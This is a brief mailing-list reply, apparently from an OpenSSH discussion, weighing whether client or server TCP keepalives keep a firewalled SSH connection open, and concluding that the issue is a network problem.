Yup, client-alives could force the firewall to keep TCP-connections alive.
But then again might not; keepalives sent by the server can also force the 
TCP-connection closed, if the network is down for few minutes (and it 
might take some time for the client to notice that the connection 
has been forced closed).

Anyway, I'm sure that this is somekind of network problem, not an openssh 
or OS problem. And it seems that Frank Cusack already wrote a better 
analysis than I did.

- Jani